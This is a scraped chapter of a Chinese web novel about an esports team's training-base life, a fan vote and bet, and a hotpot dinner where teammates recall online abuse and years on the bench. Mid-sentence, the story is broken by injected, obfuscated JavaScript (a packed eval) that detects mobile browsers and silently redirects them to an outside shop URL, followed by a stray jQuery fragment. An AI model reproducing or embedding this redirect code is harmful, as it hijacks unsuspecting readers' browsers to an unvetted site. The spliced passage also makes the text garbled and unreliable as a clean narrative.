基地里一群大男孩每天除了训练也没什么娱乐项目,艾瑞克这人惯来不着调,老想些法子整活,时间久了,几人也见怪不怪,都知道他有个小号专门伪装成甜妹,游戏中老是会逗逗自家射手或者打野,林风对这些事不怎么关心,倒是幺幺和Emperor闲着没事也会看看艾瑞克装甜妹骗人家玩。
白芸初来乍到,不知道这些。
那次游戏进行到一半,艾瑞克的猫咪正挂在射手身上,顶着“梨花诗”的女神ID,甜甜的在聊天框里敲了一行腻死人的话—“哥哥,泥想不想做人家的菠萝吹雪吖~”
艾瑞克正笑得贼眉鼠眼,冷不防就听到身边有一道平平淡淡的声音把他刚打的那行字念了出来。
念的字正腔圆,跟播音腔是的。
他吓了一跳,一个激灵把消息发了出去,一旁的白芸神色困惑,拧了拧眉头,语气不解道:“你在干嘛?”
恰好Emperor一局结束,不等艾瑞克给自己找补,他就插嘴道:“钓鱼呢。”
艾瑞克在白芸背后冲Emperor警告地扬了扬拳头,还在狡辩,“没呢,芸姐,我帮我朋友测试她男朋友呢。”
他倒是很在意自己在白芸心里的形象,毕竟小迷弟一枚,只是越到最后声音越小,显见的底气不足。
Emperor不甘示弱地也冲他扬了扬拳头,幸灾乐祸。
白芸扫了眼屏幕,又瞅了眼艾瑞克,心里有数了,无语地闭了闭眼。
正当艾瑞克以为事情就这么过去了的时候,Emperor看热闹不嫌事大,又指着屏幕笑得厉害,“艾瑞克你哥哥喊你呢!”
这话一出,两人都扭头去看屏幕。
继那句“哥哥,泥想不想做人家的菠萝吹雪吖~”之后,紧跟了一条,“妹妹,哥哥不止想做你的菠萝吹雪,哥哥还能弱水三千,只取你这一瓢~”
艾瑞克脸色白了白,差点恶心吐了。
这还是个…人间油物…
旁边坐着白芸,艾瑞克也没兴趣装甜妹了,飞速结束对局下了线。
事后他才知道,Emperor还特欠揍地发了个微博让粉丝投票——“粉丝宝宝们发福利喽~大家是想看我们CCcarry全场,还是想看艾瑞克装糖吖~~”
艾瑞克刷着微博,一边唾弃Emperor语气上明里暗里的媚粉行为,一边对自己的票数志在必得,毕竟白芸的比赛每场都认真,除了操作实在没有看点,但是看他装糖的机会可是少之又少,想到这儿,他不禁洋洋得意起来。
Emperor看他一脸得意的样就不太爽,切了一声。
白芸对这个微博投票没什么想法,谁票数多她都无所谓,左右艾瑞克就是那个性子,一场对局carry全场对她而言也不难。
也不是她宠粉,实在是她太好说话,粉丝的要求,能尽量满足的她都满足了,一场游戏对局也没什么,正是因为这点,Emperor一不做二不休,又替两人打了个赌,谁输谁喊爹。
艾瑞克欣然应下,原因无他,单纯看不惯Emperor那个欠揍样,他就是要狠狠打脸Emperor,不过就算是他赢了,他也不会让白芸喊爹。
白芸也应了,心知肚明都是大家闹着玩儿的,每天枯燥乏味的训练中,她能给大家带来点乐趣,也很好。
Emperor见两人都应了,转头又发了条微博,还特意屏蔽掉两人—“姐妹们,兄弟们,想看艾瑞克喊爹的,票数给咱芸姐投起来![抱拳][玫瑰]
这话一出,本来还在犹豫不定,两相抉择的粉丝们纷纷倒戈向白芸一边,评论区清一色的全是白芸、CC,白芸的票数直接甩了艾瑞克几条街。
艾瑞克人都傻了,一直到最后喊完爹了也不知道这件事是Emperor从中作梗,倒是白芸和他的“父子”关系时不时被Emperor提起来揶揄。
正走着神,眼前被端了一盘煮好的千丝土豆。
千丝…土豆?
点菜的时候她没认真看,但是她记得她好像没点这个。
而且她还记得…
基地里除了她没人喜欢吃土豆。
那这盘土豆是给她点的吗?
她忍不住去看林风,却和林风笑眯眯的眼神撞了个满怀。
林风冲土豆抬了抬下巴,“吃吧,土豆小姐。”
白芸一囧。
什么土豆小姐啊!
她脸上发烫,分不清是因为他这句略显调侃的土豆小姐,还是因为他不知道什么时候注意过她喜欢吃土豆。
余光瞥见一旁的开胃小菜已经被幺幺吃了个七七八八,她又愣了愣,犹豫了几秒,还是问出口,“这盘开胃菜还有吗?”
艾瑞克正被牛肉丸子烫的斯哈斯哈个不停,闻言也不忘说:“没了,芸姐你想吃的话,我再给你点。”
他一边说,一边就要招呼服务员,白芸连忙哎了一声,磕磕巴巴地说:“我…我不吃。”
艾瑞克灌了口酸梅汁,听她不吃,就作罢了。
白芸嚼着土豆丝,看了眼林风,又看了眼幺幺,内心思忖着,把土豆吞进肚里,趁林风不注意,往幺幺那边凑了凑,冲他招手示意。
幺幺正烫着牛肚,见状也不烫了,把耳朵递给白芸。
两人悄咪咪地说着悄悄话。
“小幺,那盘开胃菜不给林风尝尝吗?”
幺幺闻言一愣,旋即扬了扬唇,语重心长般地对她道,“风哥不喜欢吃酸的,之前来的时候他从来都不动那盘菜。”
白芸啊了一声,恍然大悟,怪不得艾瑞克他们都没有把那盘菜递给他的意思。
两人又重新坐回去。
白芸其实不太饿,虽然她和何枝逛了一天,但是何枝这人走到哪买到哪,烤肠奶茶小蛋糕一样没忘,所以她也吃了不少,等到现在聚餐,她吃的也不算多。
除了一开始那盘开胃菜和林风点的那份千叶土豆外,她又吃了点毛肚和虾滑青菜就算完事,一顿饭吃到一半她就放了筷子,实在是撑的不行了,落进艾瑞克眼里却是另有原因。
他咬了口鸡肉,忽然就叹了口气,拍了拍Emperor的肩。
Emperor蹙着眉,正想把他的手掸开,就听他玩笑地说道:“哎,你还记不记得我刚入队那年,有次季后赛,我太莽了,一头扎进对面包围圈里,被集火秒了。”
听见这话,Emperor少见的沉默下来,没再像往常一样对艾瑞克冷嘲热讽。
他记得那次季后赛,也记得因为艾瑞克的失误,他们丢掉了势在必得的冠军,就连后来三木的退役,仔细想想也与那次季后赛脱不了关系,就算不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492187|202282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
最终导火索,也绝对称得上是一开始的小火星,就是因为那次季后赛,三木才萌发了退役的想法,只不过止步于四强,他才最终决定退役。
不过这些,都不是让他记得那么清楚的理由。
他记得最清楚的,是那次比赛结束后外界对艾瑞克的批评和网暴,对比现在的白芸,有过之而无不及,那年他以新面孔登上lpl这个赛场,又因为一向不着调的性子被人诟病。
他不如林风那么天赋异禀,却也绝不算是马马虎虎,嘻嘻哈哈的背后也是真才实学,他有能力站在这个赛场,有能力成为CBV的辅助,有赢下世冠的底气和资本。
但人是一种有嫉妒心的动物,他们嫉妒他的天赋,总以为他只做表面功夫,于是对他的网暴也铺天盖地。
那段时间他整个人都恍恍惚惚,他一向喜欢说无所谓,喜欢把不在乎放在嘴边,表现在脸上,却是第一次红着眼问教练他是不是真的有那么差,那场比赛的打击,对艾瑞克来说是灭顶的,差一点就要迈不过去。
好半刻,Emperor抬眼,又恢复了那副讨人嫌的嘴脸,他一边佛开艾瑞克的手,扯了个笑,“是啊,我还记得你被全网黑得抱头痛哭,鼻涕都流嘴里去了。”
艾瑞克笑了,给了他肩头一拳,“哪那么夸张!你才吃鼻涕呢!”
众人哈哈笑起来,白芸听着也忍不住笑了。
Emperor不在意地笑笑,又说到自己,“我打比赛第一年,还是在SK效力,我这人没啥天赋,只能给人家当替补。”
说到这儿,Emperor苦涩地耸耸肩,“我本来以为我这一辈子都要在替补席了,谁成想那次SK的中单打完第一场腱消炎就犯了,我还记得被教练喊上赛场的时候,差点提不起步子。”
这些事Emperor从来没提起过,现在说出来,众人只觉心中泛酸。
任何一场看不见尽头的等待,都需要拥有破釜沉舟的勇气和不足为外人道的决心。
偏偏Emperor就是这样的一个人,喜欢比赛就那么做了,心甘情愿地在替补席待了那么多年。
幺幺眼眶已经湿了,比起Emperor在替补席的那么多年,他在网吧顶着无数人贬低的那些日子也不好过。
他不动声色抹掉眼泪,身旁Emperor忽然递给他一张纸,幺幺一愣,接过,悄悄擤了擤鼻涕。
Emperor也知道是他说的话引得幺幺想到了自己,安抚意味地揉了把他的头,“别哭,都过去了。”
幺幺点点头,又扬了个笑。
“哎呀!”
艾瑞克大叫一声,“说这些做什么,”
他又替众人把酸梅汁倒满,“该吃吃该喝喝。”
低沉的氛围一扫而光,众人又挑起了别的话题。
白芸被氛围感染,也重新拿起筷子慢吞吞吃着,一边吃,脑子里却是几人刚才的话。
她心里承受能力还行,网暴这件事她自认为对她的影响没有那么严重,可他们好像总是格外照顾她,即便是只会蹩脚地把自己的经历拿出来调侃。
白芸笑了笑,他们都是很好很好很好的人。
一顿火锅吃完,艾瑞克提议去KTV唱歌。
几人都没什么意见,毕竟他们假期少的可怜,也不想那么早回基地睡觉。